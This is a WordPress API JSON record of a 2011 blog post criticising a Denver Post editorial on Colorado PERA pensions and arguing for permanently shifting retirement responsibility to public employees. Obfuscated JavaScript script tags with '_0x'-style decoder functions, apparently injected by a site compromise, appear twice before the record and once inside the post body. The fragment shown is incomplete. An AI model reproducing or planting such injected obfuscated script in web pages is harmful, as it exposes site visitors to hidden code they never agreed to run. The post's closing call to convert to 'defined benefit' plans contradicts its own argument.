<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script>{"id":1044,"date":"2011-04-05T08:22:22","date_gmt":"2011-04-05T14:22:22","guid":{"rendered":"http:\/\/www.jsharf.com\/view\/?p=1044"},"modified":"2011-04-05T08:22:22","modified_gmt":"2011-04-05T14:22:22","slug":"circular-logic-on-govt-pensions","status":"publish","type":"post","link":"http:\/\/www.jsharf.com\/view\/?p=1044","title":{"rendered":"Circular Logic on Gov&#8217;t Pensions"},"content":{"rendered":"<p>In this morning&#8217;s <em>Denver Post <\/em>editorial, explaining why government employees should <a title=\"Permanent Adolescence\" href=\"http:\/\/www.denverpost.com\/opinion\/ci_17771011\" target=\"_blank\">only temporarily be asked<\/a> to take more partial responsibility for their own retirement, comes this remarkable claim:<\/p>\n<blockquote><p>But it shouldn&#8217;t be a long-term fix. Shifting the makeup of the pension funds could adversely affect the financial soundness of PERA.<\/p>\n<p>That&#8217;s because employee and employer contributions are treated differently. The money that employees put in the system goes with them if they leave the system. If the fund mix gets too out of whack, it could be a financial problem.<\/p><\/blockquote>\n<p>This is a classic example of thinking inside the fiscal box they&#8217;ve put the rest of us in. \u00a0These pensions &#8211; the ones in question &#8211; are defined benefit plans.\u00a0 As has been pointed out in a number of places this morning, <a title=\"And the days grow short, when you reach September\" href=\"http:\/\/www.nytimes.com\/2011\/03\/11\/business\/11pension.html?_r=1&amp;scp=1&amp;sq=pensions&amp;st=cse\" target=\"_blank\">Colorado is uncommonly generous<\/a> with the percentage of an employee&#8217;s income it tries to replace in pensions.<\/p>\n<p>At a minimum, shouldn&#8217;t that obligation be either contingent on the employee leaving his money with the plan? \u00a0If not, if they have the right to take that money with them, then ought not the pension plan&#8217;s obligation be reduced, proportional to the amount funded by the employee? \u00a0If it&#8217;s the employee&#8217;s money, then, well, it&#8217;s the employee&#8217;s money, and if they want to be responsible for investing half of their retirement money on their own, then they should live with the consequences of that.\u00a0 It certainly doesn&#8217;t make any sense for the plan to have to shoulder <em>more<\/em> of the burden for an employee who leaves before retirement.<\/p>\n<p>The real problem here is that it&#8217;s a defined obligation plan in the first place, and that it&#8217;s less than fully-funded. \u00a0If the plan were fully-funded, if every dollar of future obligation were already invested for, then this wouldn&#8217;t be a problem.\u00a0 It&#8217;s complicated by the fact that none of these plans is fully-funded, so all of them rely on current contributions to pay current obligations, rather than socking that money away under the account for the individual.<\/p>\n<p>It&#8217;s a result of lousy accounting having had a meet cute with lousy political incentives starting about 10 years ago.\u00a0 It&#8217;s no longer sustainable, and eventually we&#8217;re going to have to convert all of these plans over to defined benefit plans.\u00a0 If we can&#8217;t do that in one fell swoop, we can at least start by having public employees <em>permanently<\/em> assume a greater responsibility for their own retirement.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this morning&#8217;s Denver Post editorial, explaining why government employees should only temporarily be asked to take more partial responsibility for their own retirement, comes this remarkable claim: But it shouldn&#8217;t be a long-term fix. Shifting the makeup of the pension funds could adversely affect the financial soundness of PERA. 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